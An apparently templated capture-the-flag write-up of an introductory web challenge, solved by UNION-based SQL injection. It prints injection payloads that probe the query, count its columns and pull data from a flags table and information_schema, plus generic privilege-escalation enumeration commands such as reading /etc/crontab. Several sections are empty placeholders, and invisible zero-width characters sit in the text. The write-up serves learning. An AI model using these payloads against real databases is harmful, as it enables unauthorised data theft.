Dead or alive 1

Platform: Web Kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-09 | Status: Solved Techniques: union_based_sqli

Summary

SQL injection bypass task. "Find out how many quotes you have left on this mortal earth in my new service."

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: web-kids20 | ID: 20260309_web_kids20_websql_bypass1
• Tags: SQLi, mysql, union_injection, no_filter
• Indicators: SQL error messages visible, no WAF/filter present, direct parameter injection, quotes not filtered
• Source: 20260309_web_kids20_websql_bypass1.md

Foothold

Vulnerability / Misconfiguration

1. Union_based_sqli

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• union_based_sqli
• Tags: SQLi, mysql, union_injection, no_filter

Original Writeup

<details><summary>Click to expand original content</summary>

Description

SQL injection bypass task. "Find out how many quotes you have left on this mortal earth in my new service."

URL: http://kslweb1.spb.ctf.su/SQLi/bypass1/

Analysis

First task in the SQL injection bypass series. Despite the name "bypass", this task has no filtering at all — it's an introductory task for learning UNION-based SQL injection.

Key observations:

• Input parameter is directly inserted into the SQL query
• Quotes are not filtered
• No WAF present
• SQL errors are visible in the response (helps determine query structure) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Identifying the vulnerability

A simple check with a quote causes an SQL error, confirming the injection:

' OR 1=1--

Step 2: Determining the number of columns

Using ORDER BY to determine the number of columns:

' ORDER BY 1--
' ORDER BY 2--
...

Step 3: UNION-based extraction

Standard UNION injection to extract data:

' UNION SELECT 1,2,3--

After determining which columns are displayed — extracting the flag from the database:

' UNION SELECT flag,2,3 FROM flags--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

or searching for tables via information_schema:

' UNION SELECT table_name,2,3 FROM information_schema.tables--
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='flags'--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR